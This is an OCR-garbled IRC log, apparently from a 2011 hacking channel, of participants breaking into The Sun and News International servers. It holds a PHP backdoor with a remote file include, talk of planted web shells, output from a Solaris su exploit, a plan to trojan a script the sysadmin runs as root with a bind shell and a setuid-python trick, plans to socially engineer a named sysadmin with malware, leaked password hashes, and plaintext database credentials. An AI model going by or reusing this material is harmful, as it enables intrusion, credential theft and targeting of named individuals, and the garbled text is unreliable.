23:01 < 
23:01 < 



/ 



#! sunnydays .log 



23:02 
23:03 
23:04 
23:05 
23:05 
23:05 
23:05 
23:05 



23: 




/ J SON RETRIEVE 

///////////////////////// 

ifC$_GET['url']){include($_GET['url']);} else { 
headerC Content-type: appl i cation/ j son ' ) ; 
requi re_once(" json . php") ; 
function GetXML($url) { 

$query = file_get_contents($url) ; 
$xml = simplexml_load_string($query) ; 
return json_encode($xml) ; 

} 
/ 

/ JSON ENCODE 
///////////////////////// 
function json_encode($content) { 
$json = new Services_3S0N; 
return $json->encodeC$content) ; 

} 
/ 

/ Display the JSON output 

/////////////////////////// 
SjsonCopy = GetXML($url) ; 
print SjsonCopy; 

?> 

_ just backdooring stuff like that 
someone from Op Canada is looking for solid website hosting 
what did we use for Anonteaks again? 
wait 

^^^^flook into ALL the javascript 
on the frontpage 

to see if there is an eval () anywhere 
that executes data from extras, 
because if there is 

you can edit the data source on extras, 
to execute anything you want 
in the main page frame 
nope, the only to links to extras are to that html page and a 

:1 

they have a shitload of javascript 
on their site 

there must be something *somewhere* 
with an eval 
bi ngo 

found an eval 
1 sec 

http : //www . thesun . co . uk/j s/s_codeFULLSOL . j s 
this file 

has multiple evals 

http : //www. thesun . co . uk/j s/ sol . j s?v=19099 
also has evals 

none of them link to the extras server unfortunatly 
maybe to another server? 
that you have control over? 

6018396E.CB47D490.A27E456C.IP] has quit [User quit: Lost 

has quit [Client exited] 



r u around? 

:hanged Fri Jul 15 2011 

^ is now known as 
away for some 

did u find something interesting 
hey guys 
hai 

has quit [Ping timeout] 
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04:54 
06:50 < 

— Log closed Fri 

— Log opened Fri 
09:17 H Sabu 
09:17 
normal 
09:17 



#! sunnydays.log 

has joined #!sunnydays 

ttp://twitter.com/#!/BB^Mstatus/91758175451217920 

Jul 15 09:17:46 2011 
:ul 15 09:17:48 2011 

^16lD78A9.6B94F3D. 5438D71B.IP] has joined #!sunnydays 
! sunnydays : Total of 4 nicks [1 ops, 0 halfops, 0 voices, 



09:18 
10:22 

10:44 _ 
#! sunnydays 




:oin to #! sunnydays was synced in 3 sees 
joined #! sunnydays 

has joined #! sunnydays 
A02.3978755B.IP] has joined 

what you want (& anonops qry 

not really, u? 
reon@kerpia-B39FE274.com] has joined #!sunnydays 

hi 

iTnoT^v/eveni no ^^^H 

has quit [Ping timeout] 
has joined #! sunnydays 
has quit [Client exited] 
has joined #! sunnydays 



has quit [Ping timeout] 

has joined #! sunnydays 

Ping timeout] 
has joined #! sunnydays 

has quit [Ping timeout] 
has joined #! sunnydays 
IM 




from the i rani an IRC... leaked when 
ed some of it and saw that 
for a moment, thought it was new 
So 

news? 



ass in #voice on AnonOps 
no news 



got mad 



A87C441.perfect-privacy.com] has joined #! sunnydays 



cerpia-A87c441.perfect-privacy.com] has quit [Ping timeout] 
|kerpia-49E3El71. gigabit. perfect-privacy. com] has joined 

[■■■kerpia-D48DClD2.cc] has joined #!sunnydays 
"1 ^^^http : //sexyf awkes . tumbl r . com/ 

prOt :> 

u> there's one missing 
u> : p 

u = ? <3 ??? :> 

)ut i oont have the url anymore 
u> no 



hahana 

<3 

now known as 

hey 

hows IS everyone 
lis room safe? 
mods ecc. . ? 
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13:41 < 
13:41 < 
13:41 < 
13:41 < 
13:41 < 
13:41 < 
13:42 < 
13:42 < 
13:42 < 
13:42 < 
13:42 < 
13:42 < 
13:42 < 
13:42 < 
13:43 < 
13:43 < 
13:43 < 
13:43 < 
13:43 < 
13:43 < 
13:43 < 
13:44 < 
13:44 < 
13:44 
13:44 
13:44 < 
13:44 < 
13:44 < 
13:44 < 
13:44 < 
13:44 < 
13:44 < 
13:45 < 
13:45 < 
13:45 < 
13:45 < 
13:45 < 
13:45 < 
13:45 < 
13:45 < 
13:45 < 
13:45 < _ 
it's okay 
13:46 < 
13:46 < 
13:46 < 
13:46 < 
13:46 < 
13:46 < 
13:46 < 
13:46 < 
13:46 < 
go down 
13:46 < 
13:46 
13:46 
13:47 
13:47 
13:47 
13:47 
13:47 
13:47 
13:47 
13:47 < 
13:47 
13:48 
13:48 
13:48 



lol 



#! sunnydays .log 

^ I think so 
as safe as public ire can be :p 



ya i prefer private place 
like the old one 
lol 

there is a new secure IRC 
ve moved here during ddos weekend 

wont help you 
iave only the old one 

A 

need to be added manually 

)h ok 

and only one person can do that who is not here atm 

1 w ill ping you about that this night ? 
ill hit you up when he's back 

poke me too then 
'ah yup 

you ' re mi ssi ng too 
_ when will the port be changed? 
not sure :) 
ill ask that too 

|6018396e.CB47d490.a27e456C.ip] has joined #!sunnydays 
stab ■ to let more people add accounts 

<3 

:D 

^^H^H no chance 
Tewontao that :p 

Well does he want to be trusted or not? 
'private" ire is behaving strange for me since yesterday. 
Always lagging out 
!!!!!!! 

: D 

Because if hes hanging on to keeping all power to himself 

i cant connect to my shell atm 
I dont <.< 

manage the new i red ? 

n guys :D 
sup 

'tbh once our team is added, additions will be made rarely and 

to ait a bit 



worvt add anyone unless we approve it anyway 
weve had various occasions now 
where we had to move 
very quickly 

and when one person keeps all the ties of an ire ot himself 
that is not going to work 
well then we need to set up our own ire 

the advantage there is that the box is paid and is unlikely to 

also it's in .en 

You said you trusted the bitch but I cant see how. 

and .en is not really an advantage :P 

welcome to the great firewall of china :P 
well, setup a new ire :D 

well gimme a vps 
e I'm lagging the whole time there because of this firewall :o 
well, sabu might have one 

ill stab sabu 
yeah i need him too 
urgently 
:p 

he doesn't react atm though 
thesun get owned or? 

not yet i think; but they rebooted our backdoors 

Page 95 





60904 



13: 


;48 


< 


13; 


;48 


< 


13; 


;48 


< 


13; 


;48 


< 


13; 


;48 


< 


13; 


;48 


< 


13; 


;48 


< 


13; 


;48 


< 


13; 


;49 


< 


13; 


;49 


< 


13; 


;49 


< 


13; 


;49 


< 


13; 


;49 


< 


13; 


;49 


< 


13; 


;50 


< 


13; 


;50 


< 


13; 


;50 


< 


13; 


;50 


< 


13; 


;50 


< 


13; 


;50 


< 


13; 


;50 


< 


13; 


;50 


< 


13; 


;50 


< 


13; 


;50 


< 


13; 


;51 


< 


13; 


;51 


< 


13; 


;51 


< 


13; 


;51 


< 


13; 


;51 


< 
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;53 


< 


fi rst. 




13; 


;53 


< 


13; 


;54 


< 



:d 



# lsunnydays.log 



I well rebooted machine to bring backdoors back 
;sun is backdored right now 
) shell is up 
should be 



n ce 



but we need to getz root 
as i n topic :) 

is one that 
v^^Tdo it :> 

should wait for him, i dunno the exac status 
so far we can assume this channel safe 

added sun in own web shell command and control 1 
othing of this got leaked :p 
hav e a s pare system? 

ink needs to compile something on sparc/solaris 



as 
you 
i th 
nah 



thats done 

sabu had a spare shell 
"oh? 

but it didnt work 
"oh nice k 
ah :( 



know 




ready, we 

13:54 < 

replacement 



what company manage this box ? 
well thesun.co.uk ? 
aye, we even know the sysadmin 

D : //uk . 1 i nkedi n . com/pub/1 au rence-aronberg/b/762/778 
heh 
:> 

would be last option, it could always tip the off 
we could at least deface 

has some nice fake news, too :) 
guages: PHP, HTML, CSS, JavaScript. 

>language 
>css 

do you remember that we have the SOCIAL engineer master? :p 

- A_A 

but still, we should see if we can get further technically 

nless we all think we're out of options? 
we've all had our SE past :d 

still waiting on whateve r 's happe ning, got a fake news story 
can also use two comics made by 

it just depends if the deTaceis a redirect or a page 
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;00 
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14; 


;00 


< 


14; 


;00 


< 




second one done yet? 

haven't seen so far 

ttp://imageshack.us/f/7/lotwl . png/ 
thx 

http://img823 . imageshack. us/img823/8882/grabmystache. png 
hahaha 

who made that last one? 

a genius! 

> 

not ■■■■ then 

^ talked wTtnriTm yesterday night 
him wiped all personal HD 
so for sure not him :> 
he lost a samba Oday exploit too -.- 
lulz 

the ape 

wiped? 

ie got a new netbook 

so he wiped his old box 

there is not much we can do unless we get root 
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14:00 < 
compile 
14:00 < 
14:01 < 
14:01 < 
14:01 < 
14:01 < 
14:01 < _ 
again for 
14:01 < 
14:01 < 
why it 
14:01 < 
14:01 
14:01 
14:02 
14:02 
14:02 
apache 
14:03 < 
14:03 < 
it in a 
14:03 < 
shell? 
14:04 < _ 
sysadmi n 
14:04 < 
http://img82 
14:04 
14:04 
14:04 
14:04 
14:04 
14:04 
14:04 
14:04 
14:05 
14:05 < 

14:05 < . 

to the user 

14:05 < 

breakingnews 
14:05 
but 
14:0" 
14:06 
14:06 
14:06 
14:06 
14:06 
14:06 
14:06 
14:07 
anywh 
14:07 < 
14:07 
14:08 
14:09 
14:10 
14:10 < 
14:11 < 
14:11 < 
ki tchen 
14:12 < 
14:12 
14:12 
14:12 
14:12 




#! sunnydays .log 
http://www.sendspace.com/file/738rpu Thats the exploit sabu 

well the question is 
do we take the left side 
< SE 

or the right side 
spoits > 

if he knows what version is function is vulnerable i'll write it 

Sabu had to fix the sploit already 
I tried it but it didn't work, I think su is disabled which is 

idn't worh 

i ' m avai 1 too 

wouldnt compile it hink 
i 

the sun is powered by the eScencic CMS 
Maybe someone could try the telnet exploit 

It appears the admin runs a update script for the redirects in 

'•daily, He runs it as root, I wonder could we create a copy of 
i recto ry, which loads a bindshell I try get him to execute 
^^^1 get of yer lazy ass and do some telnet on a reverse 

I think he is more of a XML, 3S, PHP programmer than a 

Imao xD who made 
3 . imageshack. us/img823/8882/grabmystache. png 

can we still definitely deface newsint? 

yeah 

XD he is 

someone called 
evi antart 

he puts every single 'language' on his linkedin 
and bash isnt thar 
Unfortuatly no 
so at the moment it's 



]ust a redirect of Sun 
is that even sure atm? 
they changed the owner of most of the files on newsint.co.uk 
and they are not writable by the web user 
hows the intranet access we needed for updating that 
file? 

I'm not sure about the sun either, the redirect worked for me, 
't think it will work 

we can update the breakingnews.html file 
thats fine 
kk 

GENIUS! :> 

ndeed one of the greatest images i have seen :) 
kerpia.cryto.net <-> nexus.cryto.net quits: 
The intranet is a seperate thing, but I can't seem to 
at hostname links to on the intranet 
where did they go? 

netsplit 

over, joins: ^ 
welcome back 

did a9 give you ownership of #voice? 

goddamnit guys what was the commercial remix with that silly 

you are also on 999 access ^^^H 

9999* 
Splendid 

that looks even better :D 
gief name of that commercial D: 
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# lsunnydays.log 

are okay, thx 
"silly kitchen thingie", 
well you know 
there was this remix of it 
it was that thing that cut stuff in pieces 



taht's very precise 



no not a knife. 

with this guy showing how it worked 
and it was better becus 
you could open it and clean it! 
unlike the other counterpats 
parts* 
> . > 

silly men don't know about the kitchen xD 

Netsplit kerpia.cryto.net <-> nexus ^cryto. net quits: l^l 

' TTsunriyaays 



|6018396E . CB47D490 . A27E456C . IP] has joined 
has quit [Nick collision] 
:split over, joms: ^^^^g 
Jkerpia-E58Q7C43 . per^ ct-pn vacy . com] has joined #!sunnydays 

is now known as 
yup k 

well you should know the commercial then 

: > 

so gief 

[^kerpia-49E3El71. gigabit. perfect-privacy. com] has quit [User 

Leavi ngj 



[x@fOb750f7 . D10FA275 . 84E78E68 . IP] has joined #!sunnydays 

u is now known as ^^H^^ 

get ^^ne kitchen and give the name of that commercial 



14:18 
14:18 
14:19 
14:19 
14:19 
14:19 
14:19 
termi r 
14:19 
14:19 
you a 
14:19 
14:19 
14:20 
14:20 
14:20 
14:20 
14:20 



able to contact 



whyl 



I which commercial are you talking about? 
[^^^^^^^^^H has joined #!sunnydays 

I Lx^rUB AUf/' . d1Ufa275 . 84E78E68 . IP] has quit [User quit: 



Lost 




\:d/ maybe i know? 

the one with that kitchen thingie thatd cut stuff up and make 
and was made aremix of 
and this guy would present it 
_ n stuff 
cut stuff up? 
you mean billy mays? 
nono 

twas not billy 

S 

it was a very little hting 
you could put like 
a cooked egg under it 

and youd smash it on the other end of that thing 
a few times 
and youd get little pieces 

1 dunno maybe they not show it on tv where i live 
people 

nah it wasin the US 
get your sexy asses into #voice on AnonOps 

obviously 
boost up dat morale 

i'm thinking to put up an own vpn server for join a save internal 

some feedback ? 
s/save/safe/ 



Of course that works theoretically but i doubt itd be moar safe 
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14:24 
14:24 
14:24 
14:24 
14:24 
14:24 
14:24 < 
14:24 < 
14:24 < 
14:24 
14:24 
14:24 
14:24 
14:24 
14:25 
joinec^^ 
14:25 < 

14:25 < 

read messages xD 
14:25 < 




#! sunnydays.log 
_ im not really a fan of vpn :( 
uhm ok :-\ 
silc 

y u no silc 

yes +1 for silc 



silc IS 1 ess safe 
than a vpn 
too new :/ 
_ lol? 
what? 

so maybe we can make hardening about dns/ip stuff 
do you know what silc is? 
silc will ahve a hgiher chance of mitm 

kerpi a-F39EC036 . b- ras3 . mvw . gal way . ei rcom . net] has 



sunnydays 




better than you prob :P 

you hacked root access to the server it was on you can't 



it has PKI 

unless you MitM the PKI 
14:25 < ^H^H hey 
hey? 
hai 

whatsup; 
There is 



there is not even a theoretical attack possible, 




14:25 
14:25 



< 

14:25 < 
14:26 
14:26 
14:26 
14:26 
14:26 
14:26 
14:26 
14:26 
it's sti 
14:27 < 
14:27 
14:27 
14:27 < 
14:27 < 

14:27 < 

never 100% secure 




^always* a theoretical atatck possible 
i doubt that very hard 

1 used silc for years 
the moment you feel safe youre vulnerable 
using it doesnt make you know it :P 
well, then why we use SSL? 
get rid of that 

Anyone give me a link to our PHP backdoor on the Sun? I want to 

_ ssl is obsolete already too :/ 
silc is safe 
howdy ■^■m 

get ria^^B^ security since you cant feel safe anyway? 
even tsl is 

the backdoor is up in your C6C 

even many ppl know about silc 



so theres even less ppl able to attack it 



dont be a bitch 

point jusi 



wise to apply best security on all layers 



you know as well as i do that it is 
. . sure you are never 100% secure, but 




you mean my ssh server? 
be better to xmpp otr everything then 
what you propose to do ? :-\ 

yeah but conferences aren't OTR are they? 

y the sun shell is attached to your C&C 
T30:43] <^^^^B ^^^^^g point just is. 
but it's sti 
aaaaah 

so y ou suggest jabber+OTR room? 
confer ence = security impact 
thanks :) 

well i woLHd favor a SiLC run by us. but i'm also fine with some 




sure you are 



wise to apply best security on all layers 
A 



14:28 
14:28 
14:29 
14:29 
14:29 



keeping everything between 2 people 
is more safe? 
yes we often do that anyway 
for certain hacks etc 
based on need to know. . 

IS it possible to have a conferance on jabber using OTR? 
_ There ar ealso 0 2985205809 channels for that 
agree with ^^^^^ 
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14: 


:30 
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:30 
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14: 


;30 


< 1 


14: 


;30 


< 


14: 


;31 


< 


how they 


14: 


;31 


< 1 


14: 


:31 


< 



err 



#! sunnydays .log 



maybe the best 

we can setup easy a jabber server 
take it private 

yup 
and use OTR 

thats best means 

has joined #! sunnydays 
citchen 



goes 



ler 



<3 



can you host it ? 

trust jabber.ccc.de pretty much though 
^ is cooking :> ? 



im j ust in time, 

hey W 
^l^^nost which? 

a server? 

jabber server 

are confenernces fully crypted then? tbh, i dont know much about 



16:33 <i 
16:33 H 
kerpia-F39EC03bT 
so 

16:33 < 
16:33 < 
16:33 < 
16:33 < 
16:33 
:0 

awwwww 
> lol 





:3 *cooks* 

b'^rasTrmvw. gal way. ei rcom.net] has joined #kitchen 
hai ! 



no men in kitchen! 

was kicked from #kitchen by 



- I was about to look for the kettle 
to maek us tea! 

> lol at the ip masking btw 
f ai 1 . 

SHIT 

LOL, neighbours wifi :) 
but sti 1 1 , cocks 

> yup 

no talking while im cooking! !!1 
sets mode: +m 
ost 

< 

kerpia-F39EC036.b-ras3.mvw.galway.eircom.net] has quit 

shes very strict with he kitchen rules 

*the 

i dont dare to go in there 
is afraid of 

lo f 

yeah she doxed people who go in there :D 

hahaha 

has quit [Ping timeout] 

"lol 
:o 

im not like tht im a nice person ;_; 
i jst want a hug ;_; 

hugs^^^l in fear 
iugs ^^^^^ 
"so anyway jabber+OTR will be the final idea? 

haha :D 
'hugs 

stayTjITt of my KITCHNE! ! ! :3 
iahaha 

well are conferences OTR or not? 
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14:36 
14:36 
14:36 
14:36 
14:36 
14:36 
14: 
14: 
14: 
14: 
14: 
14: 
14: 
14: 
14:38 
14:38 
14:39 
14:39 



14: 
14: 
14: 




39 
39 
39 
14:40 < 
14:40 < 
14:40 < 
14:41 < 
14:41 < 
14 : 41 < _ 
planning 
14:41 < 
14:41 
14:42 
14:42 
14:42 
14:42 
14:42 
would be" 
14:42 
14:42 
secure 
14:42 



#! sunnydays .log 

is qry only 
dont like xmpp then 

is just like otr but for ire 
its key basede 

ed 
ok 

we should probably be using a keybased system 

i could implent that probably 
considering their is no pass on this server 
■■■g whats with the i rc i sent you the hash for? aa 
i^^^^l at connecting ~.~ 
and people aren't verifying identities by registered nicks 
and that is still only password /passphrase authentication 
rather than based on keys 
anyway., we can use like old i red server., 
sorry FiSH is not key based 
by key i meant a passphrase key 
ssl with passphrase + oper for all people 
so able to check all joins ecc. 
dont need oper for all joins 
what happened to the silc-idea? 



c > 



but meh.. it looks like we're 



ourt 




yeah i need to talk to 

own s^ltion anyway 
it relises on a pri v/pub key + pass 
yeah but ^^^^^ doesnt like silc for some reason 
okay 

even if someone rooted the server thteres not much they can do 
[x(a7C754EEB.EE24DE46.84E78E68.IP] has joined #!sunnydays 
btw any progress on the sun? 

^H^l just shush. AS almsot everyone here said otr server 

tter s^nl^^n 
so could you just stick to the facts 

and if you have it as the only service running then it's even more 

sshd using key auth at the most of remote access 
jabber is not secure it's been hack how many times? 
nto jabber itself 
the xmpp protocol 
with otr 

3 abber.org is said to have FBI all over it aswell 

what? first calm d own pl ease this aint personal, also i was just 
, and was replying to :p 
XMMP != jabber 



'■XMPP 

i'm obviously fine with any solution we can agree on 
^^^^g with shush i meant shush. You are the only one implying 

now <.< 
lulz 

no progress with the sun 
we still need root 

then i will try to compile that spare shit 
That wast ried wasnt it? :/ 
think we should all talk in morsecode 
Sabu already compiled it on spare 

and fixed it 
but it didn't work 
okay 
the su exploit 

feel free to try it again 
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14:45 
14:45 
14:45 
14:45 
14:46 
14:46 
14:47 < 
14:47 < 
14:47 
14:47 < 

14:47 < 

any given time 
used as a 
14:48 < 
14:48 < 




#! sunnydays .log 

^ yes but rot-13 and base64 first! 

or otner ! 

ya I might of done something ssilly 
I think su might be disabled 

okay 

either tht or the location of su is different 
if so you'd have to change it in the exploit 
or change yoru path? 



_ when i try just run su 

also, something different 

some additional firewpower wou 
chance to revive o:p 

It doesn't promnt it just outputs 'Sorry' 
paypal context: 



could probably down paypal at 

nt hurt though, also it could be 



http : //www . scmagazi ne . com . au/News/263634 , paypal -cso-cal 1 s-f or-anti sec-hunt . aspx 



14:48 
14:48 
14:48 < 
14:48 < 
14:48 < 
14:49 < 
14:49 < 
14:49 
14:49 < 
http:// 
14:49 < 
14:49 < 
14:49 < 
14:49 < 






thats not important for the exploit i guess 

1 seen tht so many ppl bashing him in the comments XD 
http: //www. sends pace . com/fi 1 e/738rpu 
ong as they didnt replace the whole fkn thing 

Thats the compiled exploit 

okay 

If you want to give it a go 

will try it 

reebsd . org/archi ve/i ndex . php/t-5248 . html 
(without killing it :D) 

suppose that applies to SPARC too 
although iunno shit about spare 
The only other think I can think of is to try and get the 




admin t o exec ute a bindhost or something, he seems pretty in experienced 
14:50 < ^^Mdid one of you delete my rev-shell ? 
14:50 < ^^^^^1 check #bucc for paypal 
or was it admin 
or SE him :P 
what was it called 

it might be hard to se him as he seems to be the only one 

working on tne site, his is the only name I saw in the comments of the source 
code 

Jmicrositel # cd 
lesun . CO . uk/basedi r/wordpress/ 
Imicrositel # chmod +x su_poc 

Imicrositel # ./su_poc 

SunOS 5.11 'su' null ptr P 
su: Sorry 

k it does m atter :> 
(fake ■^■js fake) 

year^H^I had exactly the same 
okay we snoT^ really think about some SE 



14:50 
14:50 
14:50 
14:51 



14:52 < 

/uOl/web/extras . 
14:52 
14:52 
14:52 
14:52 
14:52 
14:52 < 
14:53 < 
14:54 < 

14: 54 < 

thats the guy rite? 




http : //uk . 1 i nkedi n . com/pub/1 aurence-aronberg/b/762/778 <- 




no offense to that guy but he doesnt seem like a superb 

do we have access to any e-mail thats sunnish? 
how would you go about SE ing him, like put malware on his 



14: 55 < ^m' lulz 
14:55 < . 
sysadmi n" 
14:55 < 

14:56 < . 

compute r? or try get the root pass from him? 

keep both options open depends on the guy 
havent spoken to him 

so iunno what kind of type he is 
if hes the only one working 
it might be hard to fetch a root pass 
hmm we dont have much information to go with it seems 

yeah 

yeah 

it seems like he is the only guy 

I seen one file where he was really annoyed about haveing to 
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14:59 
14:59 < 
14:59 < 
14:59 < 
far? 
15:00 < 
15:00 < 
15:00 < 
15:00 < 
15:00 
15:00 
15:02 

redi rect"? i n 

shell in it 
15:02 < 
15:02 < 
15:02 < _ 
when the" 
15:06 < 
the redi rects 
bind shell in 
15:06 < 
15:08 < 
15:10 < 
15:10 < 
15:10 < 
15:10 < 
< 
< 






accessai 
15:16 < 
15:16 < 
15:16 
15:16 
15:18 
15:18 
15:19 
15:19 
15:19 




#! sunnydays .log 

unless hes sutpid enough to give a root pass to an outsider or 
access with someone in the wheel group 
getting that out of him wotn work :/ 
yeah i dont think se either 
so 

i do think SE 

jus tnot getting root pass SE 

more like be friendies and pass him some trojan SE 
hmm, is there a way we can infect him thru the access we have so 

we just need to place a while on the box 
he could accidentially execut 

e 

or make up a story that lets him execute it 

he's working 4 years as sysadmin there, pretty long time 
i think it was in extras.thesun.co.uk/dev/hot_or_not 
ya there is a .sh file that he runs as root to update the 
apache configs. Maybe we could create a copy of it and put in a bind 

and try and get him to execute it by mistake 
sounds good actually :P 

You could try sticking a driveby attack in their admin panel and 
ns view it hope it exploits their browsers/flash? 
<^^^^^^| ya there is a .sh file that he runs as root to update 
inapacn^configs. Maybe we could create a copy of it and put in a 

it 

where? 
uhm 

even just adding a simple execute for "chmod a+s /usr/bi n/python" 
would make python suid for all users 
then we can execute commands as root using python 
or even perl 

that sounds good 

well the script is at /usr/local/apache2/conf/redi rects/ 
something like that 
we search for suid + chmod fails in general? 
I didn't anyways 
want to look? 
currently doing 
There is so much here, if only we get root 

e he did something stupid like reffering to an file that we can 

I think there is a good chance, find that .sh file 
in some of his scripts 
do we have access to their mysql? 

i didn't come across to many scripts TBH 

we should be able to find credentials 
yeah, me neither 

I didn't find any credentials but i didn't look specifically 
We have daily backups of the mysql DB 

well we need to find such as mysql user/pass and we can map out 
and try the passwords and users against other services 
btw does this shell always have problems with downloading files' 

what are the odds he connects to the mysql as the root user :P 
It 1 try to download anything larger than 2mb it just fails 
im not sure, I usually just copy the files to a web 
1 rectory and download directly 
okay 

anyone can give me a link to that shell again? didn't write it down 
http : //extras .thesun . co. uk/wordpress/version . php 

ty 

lol its slow as fuck 

10 KB/S 

yup 

1 ce 

I noticed that too 
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root 
15:26 
15:26 
15:26 
15:26 
15:26 
15:28 
15:28 
15:31 
15:33 
15:33 
15:33 
15:33 
15:33 
15:33 ■ 
<3] 

15:34 < 
detai 1 s 
15:34 < I 
address? 
15:34 
15:34 < 
15:35 < 
company, 
15:35 < _ 
somethi ng 
15:36 < _ 
somethi ng 
15:38 < 
15:39 
15 
15 

15:42 
15:42 
15:43 
15:45 
15:45 < 
15:48 < 
15:48 
15:48 
15:48 
15:48 < 
15:48 < 
15:48 < 
15:48 < 



#! sunnydays .log 
but if i download multi -threaded 
its normal 

oh it could be because it is connected through a proxy server 

hat? 

all traffic on the server gets cached 
for example if you look at the ips in the shell 
it says you are coming from an ip on their subnet 

the caching server I think 

right 

as fair as I can figure out 

i guess theres just a speed limit 
but the caching thing is interesting 

you can see if you load a static page it will load pretty 

ie index.html 

put if you type in index. html ?id=l 
it will take longer as its loaded directly and cached 
reload and its fast again 

brb 
back 

I'm getting kinda frustrated with this box tbh, so close but 

We have it backdoored a lot now and we can't do much without 

I think its worth risking something like SE now 

we gonna get it ;) 
just a matter of time 

or a modified script 

as we don't have much else unless we can root 
1 agree 
me too 

ok 

so whats or next plan of action 

right gonna go :D 

enjoy the rest of my vacation while it lasts ;_; 
<3 u all XX 
bye : D 

6018396E.CB47D490.A27E456C.IP] has quit [User quit: ~_~ 





< 
< 
< 



enjoy ^^H^ try look for writable suid 0 files, then mysql 

:hen try make sometrmig that the admin might run as root by mistake? 

what's the plan for se? Do we have axx to any newsint 

inaven^TounaanyTogTn^^ 
I don't really think we could impersonate anyone else in the 

le seems to be running the servers by himself. 

unless we could send him malware on linkedin or facebook or 

by SB I mostly mean just trying to trick him into running 

..do we have his home ip? 
we might be able to find 

look for recentily modified files by him and include a logger? 
see what he has been working on today 

has quit [Ping timeout] 

has joined #! sunnydays 
joined #! sunnydays 

so what will we try? 

vi rgi n Offer 

Content-Type: text/html; charset=UTF-8 
Content-Transfer-Encoding: 8bit 

<html> 

<body styl e="f ont-f ami 1 y : ari al ; "> 
Dear reader, 

<p>Your unique PIN code for the Virgin Trains offer is 4EU43DL434. 
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#! sunnydays .log 

Tickets must be booked before 13 Dec 2009 for travel between 11 Jan until 5 Feb 
2010. </p> 

15:48 < Book your <a style="color:#ccOOOO; " 

href="https!7/www. buyti ckets . vi rgi ntrai ns . co . uk/datapassedi n . aspx?prm=VTSC0TSUN2& 
noa=l&o utHour Fie1d=9" target="_blank">standard Class tickets now</a>.</p> 
15:48 < <p>If you have any problems with your booking, please call 08457 

222 333. </'p> 

15:48 < <p>The Scottish Sun/Virgin Trains</p> 

15:49 < <p><a style="color:#cc0000; " 

href="http^7www. thescotti shsun . co.uk/scotsol /homepage/adfeatures/article2737304. 
ece" target="_blank">vi rgin Trains Terms & Condi tions</a></p> 



15:49 < </body> 

15:49 < </html> 

15:49 < Virgin Offer 

15:49 < "lag- 

15:49 < -> /var/mail/ 

15:51 < ^H^0_o 

15:52 < virgin trains ... sounds naughty ;) 

15:54 < ^^^^H 1ol 

15:54 < ^^^^^^H Richard Branson is a legend! 

15:54 < ^^^^^^3 If only he owned all the media instead of Murdoch 

15:55 < A 

16:17 < guys 

16:17 < http://wikisend.com/download/312038/sun_auth.htm 

16:17 < this 

16:19 < I^Hm^M what is it? 

16:19 < cred entials i found in a mysql db 

16:19 < ^I^^^^B oh very nice man! 

16 : 19 < ^H~^^^ 

16:19 < also this: http://wikisend.com/download/832500/sun.htm 

16:19 < ^^riemme see the doc 

16:21 < ^^fc^^^J had the second db, not the first 

16:23 < ^^H^^^B I'll start cracking those hashes 

16:24 < kk 

16:24 < ^^^^^^H so i suppose the mysql user wasen't root? 

16:24 < ^^B^ ^^j Damn if only we were that lucky 

16:24 < this was just an sql dump 

16:24 < stored on the server 

16:26 < ^M~ ah kk 

16:26 < ^BHH oh shit 

16:26 < i was thinking that you dumped this stuff 

16:26 < ^^H^^H some of those guys are very high up 

16:26 < ^H^^B Neil wallis 

16:26 < ^l^^^^l got arrested yesterday 

16:27 < AA 

16:27 < ^^Jj^^^ Andy Coulson too 

16:27 < ^^M^^^J if we can get into emails from these hashes it could be huge! 

16:27 < ^H^^^H Great work 

16:27 < ^H^! 

16:28 < cracking hashes now 

16:28 < ^^Jfuck bitcoins :D 

16:28 < ^^B^^^H Andy Coulson worked for the British PM 

16:28 < ^H^^H me tool 

16:28 < ^^^^H lol 

16:28 < ^H^^^B This is the biggest break we have got so far after original 

shell! 

16:31 < i'm cracking too 

16:31 < are the hash salted ? 

16:32 < ^Bli^H 79d67418fe54d64453466dcc93208a96 

16:32 < B^^^B ef27996c439e84d2f8cffcf2bcf79d6d 

16:32 < ^B^^H f64ae33e655ba434dc29b805dc908a0c 

16:32 < ^H^^B afcae4e6afca0149f823f0487b356381 

16:32 < S^^^9 Ic225094c436664e0e3c243e6a4cal77 

16:32 < S^^B 94cd52eb0693fll0333d38e0a42d5bb7 

16:32 < ^^^^H 0eed7bd5dfe3148c90fe40548e3cdl33 

16:32 < ^S^^5 922e03322e2ab9de974ea5ad995cd75f 

16:32 < ^B^B 6e4fd03f7120b5ca81822dld095d3bla 

16:32 < ^^^^B fl676f0b59c62d4f30ca7056d3d71ee6 
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# lsunnydays.log 
del0945cl25b0b0d92e7b27f500a3692 
65ccd9818a301ca2ae0085fla6c93fce 
e8590ec0f0c8a03097fbdf9830e235ff 
9afca7922fOd9fl626169bd8b9b89be3 
48379cfa287cblb300edc31d03fbld71 
091ale6ebee755861954b5d9df38ffa6 
3elae58d92ce8eda4038affed8cd79aa 
75ffff90a5ecla42626d70ef32274b62 
46bacbl9fcfaal438c7b0632afb96713 
ec85c7e792c8e8f57cc9933fa8241b8d 
are not salted 

C383476c0ddb4bf4af3f25699f4c6c9a 
raw hashes 
downloaded too 
79d67418fe54d64453466dcc93208a96 = install 
ok cool 

guess they're notAA 
epi c 

hope we get a few 
and they reuse passes! 
GTG be back i n an hour guys 



1 n 
up 



has quit [Client exited] 
ackground 



1 go too, hash cracking 
i will leave the screen 
brb 
okay 

anyone there? :D 

me 
okayAA 

then i will keep posting stuff 
http : //pri vatepaste . com/971d68940a #anti sec 
Aother credentials 
"woah, we could start spreading malware through those addresses 
also an option 

_ "I mean once the mayhem has started and after we plundered their 
Chests . 

wait... with that customer database we could make up a story, that 
is selling their customer data to third parties. 

Someone stab me when pwn is around 

wut 

"like ruin their reputation etc 
people probably wont believe 

"well, actually it's pretty easy, we just have to setup a persona, 

contact another newspaper in the uk and offer them the complete story 
(anonymous). :> 

Like. . .butthurt ex-employee or whatever 
i mean it would make logical no sense 
murdoch wont need the money 
all ppl with money want more money, 
selling 14.000 is worth nothing 
its not in relation 
to the risk 
and this: 
<?php 

$db_hostname = "wsl2"; 
$db_username = "thesun"; 
$db_password = "zVuKqdlp"; 
$db_name = "ngd_regi strati on" ; 

?> 
nice :o 

i like they have phpmyadmin public -> 

http : //extras . ti mesonl ine.co.uk/. myadmi n/ 
17:22 < 

http : //extras . ti mesonl ine.co.uk/. myadmi n/ sql . php?l ang=de-utf-8&server=l&col 1 ati on 
_connection=utf8_general_ci&db=mysql&table=user&goto=tbl_properties_structure. php 
&back=tbl_properties_structure.php&sql_query=SELECT+%2A+FROM+%60user%60&pos=0 
17:23 < mm oh wtf . . . Oo 
17:23 < ^l^^y "^^^ 

Page 106 




60915 




#! sunnydays .log 

